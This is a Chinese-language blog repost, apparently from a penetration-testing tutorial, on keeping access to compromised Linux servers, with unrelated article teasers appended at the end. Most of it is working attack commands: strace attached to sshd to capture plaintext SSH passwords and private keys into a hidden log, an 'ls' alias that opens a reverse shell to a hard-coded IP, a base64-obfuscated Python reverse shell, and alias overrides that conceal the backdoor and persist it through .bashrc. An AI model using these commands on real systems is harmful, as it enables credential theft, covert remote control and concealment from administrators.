權限維持Linux---監控功能Strace后門命令自定義Alias后門

免責聲明:本文僅做技術交流與學習...

目錄

監控功能Strace后門

1、記錄 sshd 明文

監控

篩選查看

2、記錄sshd私鑰

命令自定義Alias后門

1、簡單粗魯實現反彈:

靶機替換命令

?攻擊機監聽上線

2.升級(讓命令正常)

將反彈命令進行base64編碼

替換alias命令

靶機執行命令

攻擊機監聽--上線

3、持久化+隱藏:重啟依舊生效


【權限維持】Linux&Rootkit后門&Strace監控&Alias別名&Cron定時任務_alias ls='alerts(){ ls $* --color=auto;python -c "-CSDN博客

監控功能Strace后門

strace 是一個動態跟蹤工具,它可以跟蹤系統調用的執行。?
我們可以把他當成一個鍵盤記錄的后門,來擴大我們的信息收集范圍.

1、記錄 sshd 明文

監控

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

篩選查看

當有主機連接時就會顯示其明文密碼,

grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log


2、記錄sshd私鑰

同上...

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)grep 'PRIVATE KEY' /tmp/.sshd.log

命令自定義Alias后門

?(將命令進行別名自定義)
alias 命令的功能:為命令設置別名?


定義:alias ls='ls -al'?
去掉別名:unalias ls?
每次輸入 ls 命令的時候都能實現 ls -al?

缺點:雖然好用,但是靶機重啟就會失效!!!


1、簡單粗魯實現反彈:

靶機替換命令

alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/47.94.236.117/3333 0>&1; };alerts' 

可以發現靶機在執行正常ls命令的時候直接出問題了.?

?攻擊機監聽上線

?


2.升級(讓命令正常)

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiNDcuOTQuMjM2LjExNyIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts'import os,socket,subprocess;
ret = os.fork()
if ret > 0:exit()
else:try:s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(("IP", PORT))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)p = subprocess.call(["/bin/sh", "-i"])except Exception as e:exit()

將反彈命令進行base64編碼

替換alias命令

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''這里是你base64編碼的'\'')))";};alerts'alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiNDcuOTQuMjM2LjExNyIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts'

靶機執行命令

注意發現這里的ls命令正常執行了.?

攻擊機監聽--上線

?


3、持久化+隱藏:重啟依舊生效

這個東西就是修改Linux的啟動配置文件,? ? ? ? (.bashrc)

--但是有的服務器不讓修改此文件...(阿里云,騰訊云,dk盾,華為...)

alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'# 修改啟動項文件,將命令添加進去.
vim /etc/upload
vim ~/.bashrc
if [ -f /etc/upload ]; then
. /etc/upload
fi


本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/40222.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/40222.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/40222.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【Linux】--help,man page , info page

我們知道Linux有很多的命令,那LInux要不要背命令? 答案是背最常用的那些就行了 那有的時候我們想查詢一些命令的詳細用法該怎么辦呢? 這里我給出3種方法 1.--help --help的使用方法很簡單啊 要查詢的命令 --help 我們看個例子 這里我只…

java版企業工程管理系統源碼:全方位的項目管理解決方案

工程管理系統是一款專注于建設工程項目全生命周期管理的軟件。它覆蓋了項目從策劃、設計、施工到竣工的每一個階段,提供全方位的管理功能。系統采用模塊化設計,包括系統管理、系統設置、項目管理、合同管理、預警管理、竣工管理、質量管理、統計報表和工…

李白的酒量之謎

在中國古典文學的璀璨星空中,李白的名字猶如一顆耀眼的星辰,其卓越的文學成就與獨特的人生經歷引得無數后人仰望。特別是“李白斗酒詩百篇”,這句話不僅高度概括了李白的詩歌才華和其對酒精的熱愛,也使得后人對李白的酒量產生了濃…

6月30日功能測試Day10

3.4.4拼團購測試點 功能位置:營銷-----拼團購 后臺優惠促銷列表管理可以添加拼團,查看拼團活動,啟動活動,編輯活動,刪除活動。 可以查看拼團活動中已下單的訂單以狀態 需求分析 功能和添加拼團 商品拼團活動頁 3…

Pytorch中方法對象和屬性,例如size()和shape

文章目錄 方法對象和屬性的基本概念方法對象屬性示例說明總結 常見的方法對象和屬性常見的方法對象常見的屬性總結示例 方法對象和屬性的基本概念 方法對象(method object)和屬性(attribute)是面向對象編程中的兩個重要概念。讓我…

python使用pywebview集成vue3和element-plus開發桌面系統框架

隨著web技術越來越成熟,就連QQ的windows客戶端都用web技術來開發,所以在未來,web技術來開發windows桌面軟件也會越來越多,所以在此發展驅動之下,將最近流程的python與web技術相結合,使用vue3和element-plus…

圖像增強 目標檢測 仿射變換 圖像處理 扭曲圖像

1.背景 在目標檢測中,需要進行圖像增強。這里的代碼模擬了旋轉、扭曲圖像的功能,并且在扭曲的時候,能夠同時把標注的結果也進行扭曲。 這里忽略了讀取xml的過程,假設圖像IMG存在對應的標注框,且坐標為左上、右下兩個…

[C++初階]vector的初步理解

一、標準庫中的vector類 1.vector的介紹 1. vector是表示可變大小數組的序列容器 , 和數組一樣,vector可采用的連續存儲空間來存儲元素。也就是意味著可以采用下標對vector的元素進行訪問,和數組一樣高效。但是又不像數組,它的大…

災后恢復與勒索恢復的區別

災難恢復通常側重于物理基礎設施,如硬盤和網絡設備,而勒索軟件恢復則涉及數據完整性和防范網絡威脅。 BackBox 產品管理副總裁 Amar Ramakrishnan表示,在災難中,企業可能面臨硬件受損等問題,但在網絡安全事件中&#…

Java學習高級一

修飾符 static 類變量的應用場景 成員方法的分類 成員變量的執行原理 成員方法的執行原理 Java之 main 方法 類方法的常見應用場景 代碼塊 設計模式 單例設計模式 餓漢式單例設計模式 懶漢式單例設計模式 繼承 權限修飾符

小紅書 達芬奇:生活問答 AI 機器人

小紅書去年 9 月開始內測的生活問答 AI 機器人:達芬奇,現在可以在小紅書 APP 上用了 得益于小紅書平臺的特性,該助手擅長吃、住、寵、喝、學等等各類生活知識,目前還在搞活動,寫評測筆記最高得 666 元

為什么不能在foreach中刪除元素

文章目錄 快速失敗機制(fail-fast)for-each刪除元素為什么報錯原因分析邏輯分析 如何正確的刪除元素remove 后 breakfor 循環使用 Iterator 總結 快速失敗機制(fail-fast) In systems design, a fail-fast system is one which i…

合肥高新區建設世界領先科技園區政策(商務部分)申報獎勵補貼和條件材料、時間指南

一、合肥高新區建設世界領先科技園區政策(商務部分)申報主體 (更多政策可以查看小編主頁方式) 工商、稅務、統計關系均在合肥高新區,并在高新區持續經營。申請項目在高新區內實施、且符合政策要求的具有獨立法人資格…

網絡基礎:EIGRP

EIGRP(Enhanced Interior Gateway Routing Protocol)是由思科開發的一種高級距離矢量路由協議,結合了距離矢量和鏈路狀態路由協議的優點;EIGRP具有快速收斂、高效帶寬利用、負載均衡等特點,適用于各種規模的網絡。EIGR…

python sklearn機械學習-數據預處理

🌈所屬專欄:【機械學習】?作者主頁: Mr.Zwq??個人簡介:一個正在努力學技術的Python領域創作者,擅長爬蟲,逆向,全棧方向,專注基礎和實戰分享,歡迎咨詢! 您…

【設計模式】策略模式(定義 | 特點 | Demo入門講解)

文章目錄 定義策略模式的結構 QuickStart | DemoStep1 | 策略接口Step2 | 策略實現Step3 | 上下文服務類Step4 | 客戶端 策略模式的特點優點缺點 定義 策略模式Strategy是一種行為模式,它能定義一系列算法,并將每種算法分別放入到獨立的類中&#xff0c…

書籍表達式得到期望結果的組成種數

題目 給定一個只由0(假)、1(真)、&(邏輯與)、|(邏輯或)和^(異或)五種組成的字符串express,再給定一個布爾值desired。返回express能有多少種組合方式。可以達到desired的結果。 舉例 express“1^0|0|1”,desiredfalse. 只有1^((0|0)|1)和1^(0|(0|1))的組合可…

負載均衡類型和算法解析

假如你正在設計和開發一個分布式服務系統,系統中存在一批能夠獨立運行的服務,而在部署上也采用了集群模式以防止出現單點故障。所謂集群,就是指將多個服務實例集中在一起,對外提供同一業務功能,也就是任意請求都可以由…

吉利銀河L6 AQS空氣質量監控系統

結論 頂配才有AQS 開啟空調且auto模式 則默認開啟AQS 無法關閉AQS AQS的作用 銀河L6 AQS觸發 和 圖標 AQS官方配置參數 官方文檔 吉利用戶手冊

開源即正義,3D軟件Blender設計指南

在當今數字化時代,開源軟件的崛起不僅代表著技術的發展,更象征著一種信息自由和技術民主的理念。其本質是集眾人之智,共同去完善一個軟件,最終使雙方互惠共贏。具體來說,開源的價值,在于打破資源壟斷&#…